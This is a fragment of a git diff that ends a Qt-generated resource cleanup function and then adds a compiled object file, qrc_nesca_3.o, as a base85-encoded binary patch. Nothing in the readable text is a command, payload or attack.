QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)() +{ + QT_PREPEND_NAMESPACE(qUnregisterResourceData) + (0x01, qt_resource_struct, qt_resource_name, qt_resource_data); + return 1; +} + +Q_DESTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)) + diff --git a/qrc_nesca_3.o b/qrc_nesca_3.o new file mode 100644 index 0000000000000000000000000000000000000000..3d4ed4e1a3bbdf5ff10bf6fd4312c18c3be77a15 GIT binary patch literal 42440 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 